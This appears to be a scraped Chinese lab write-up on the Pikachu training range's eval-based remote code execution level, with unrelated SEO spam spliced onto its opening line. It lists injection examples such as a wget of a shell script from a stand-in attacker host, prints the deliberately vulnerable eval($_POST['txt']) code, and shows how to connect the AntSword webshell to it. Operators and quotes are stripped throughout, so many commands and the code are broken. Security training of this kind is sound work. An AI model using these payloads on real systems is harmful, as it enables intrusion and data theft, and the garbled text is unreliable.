柳市做网站制作,淮南定制网站建设公司,代做企业网站备案,成都十大骗子公司目录
一、远程执行命令
二、常用符号
1、#xff08;后台运行符#xff09;
2、#xff08;逻辑与符#xff09;
3、|#xff08;管道符#xff09;
4、||#xff08;逻辑或符#xff09;
5、;#xff08;命令分隔符#xff09;
三、源码分析…目录
一、远程执行命令
二、常用符号
1、后台运行符
2、逻辑与符
3、|管道符
4、||逻辑或符
5、;命令分隔符
三、源码分析
四、渗透实战
1、phpipnfo
2、蚁剑连接
1配置密码
2补充submit参数
3连接蚁剑 本系列为通过《pikachu靶场通关笔记》的RCE远程命令执行关卡(共2关渗透集合通过对RCE关卡源码的代码审计找到RCE安全风险的真实原因讲解RCE远程命令执行原理并进行渗透实践本文为RCE02关卡exec eval关卡的渗透部分。 一、远程执行命令
远程命令执行RCERemote Code/Command Execution是一种高危安全风险攻击者能够通过构造恶意输入在目标服务器上执行任意系统命令从而完全控制服务器或窃取敏感数据。
二、常用符号
命令执行安全风险中常用如下 、、|、||、;命令具体的用法如下所示。
1、后台运行符
功能使前一条命令在后台运行立即执行后一条命令。特点并行执行不依赖前一条命令的成败。利用常用于同时执行多条恶意命令如ping 127.0.0.1 cat /etc/password
2、逻辑与符
功能只有前一条命令成功返回0时才执行后一条命令。特点顺序执行形成依赖关系。利用用于条件性攻击如id rm -rf /tmp/exploit
3、|管道符
功能将前一条命令的输出作为后一条命令的输入。特点必须执行前一条命令才能触发后一条。利用用于数据过滤和传递如cat /etc/passwd | grep root
4、||逻辑或符
功能前一条命令失败返回非0时才执行后一条命令。特点失败触发机制。利用用于绕过防御如invalid_cmd || wget attacker.com/shell.sh
5、;命令分隔符
功能按顺序执行多条命令无论前一条是否成功。特点无条件顺序执行。利用批量执行攻击命令如uname -a; whoami; id
三、源码分析
进入到pikachu靶场的命令执行exec eval 02关卡找到源码rce_ping.php文件进行分析。
http://127.0.0.1/pikachu/vul/rce/rce_eval.php
这段 PHP 代码的主要功能是接收用户通过 POST 方式提交的表单数据具体是表单中名为 txt 的字段。如果该字段不为空代码会尝试将其内容作为 PHP 代码进行执行。若执行失败会在 $html 变量中追加一段提示信息后续可以将 $html 变量的内容输出到页面上给用户展示相应提示。经过详细注释的源码如下所示。
// 初始化一个空字符串变量 $html用于存储后续要输出的 HTML 内容
$html ;// 检查是否通过 POST 方式提交了表单并且表单中名为 txt 的字段不为空
if (isset($_POST[submit]) $_POST[txt] ! null) {// 使用 符号抑制可能产生的错误信息然后尝试执行用户通过 POST 方式提交的 txt 字段中的 PHP 代码// eval() 函数会将传入的字符串作为 PHP 代码来执行if (!eval($_POST[txt])) {// 如果 eval() 函数执行失败返回 false则将一段 HTML 提示信息追加到 $html 变量中$html . p你喜欢的字符还挺奇怪的!/p;}
}
源码中将我们提交内容txt用了一个eval函数判断如果错误返回“你喜欢的字符还挺奇怪”正确直接执行了并将结果返回到前端。此代码存在严重的命令执行安全风险原因在于直接使用了 eval() 函数来执行用户输入的内容并且没有对用户输入进行任何有效的验证和过滤。eval() 函数会将传入的字符串当作 PHP 代码来执行这意味着攻击者可以构造恶意的 PHP 代码作为输入。
四、渗透实战
1、phpipnfo
输入phpinfo();然后点击提交如下所示。 执行成功效果如下所示。 bp抓包内容如下 POST内容如下所示。
txtphpinfo%28%29%3Bsubmit%E6%8F%90%E4%BA%A4
发现POST还包含如下内容。
submit%E6%8F%90%E4%BA%A4
2、蚁剑连接
1配置密码
连接蚁剑工具URL地址就是本关卡的链接因源码包含eval($_POST[txt]故而内容如下所示。
URL地址http://192.168.59.1/pikachu/vul/rce/rce_eval.php
密码填写txt 2补充submit参数
由于POST还传参submit%E6%8F%90%E4%BA%A4需要点击请求信息添加如下内容到body部分注意不要填到header首部。其中name为submitvalue为%E6%8F%90%E4%BA%A4具体如下所示。 3连接蚁剑
配置完毕后点击测试连接如下所示显示连接成功。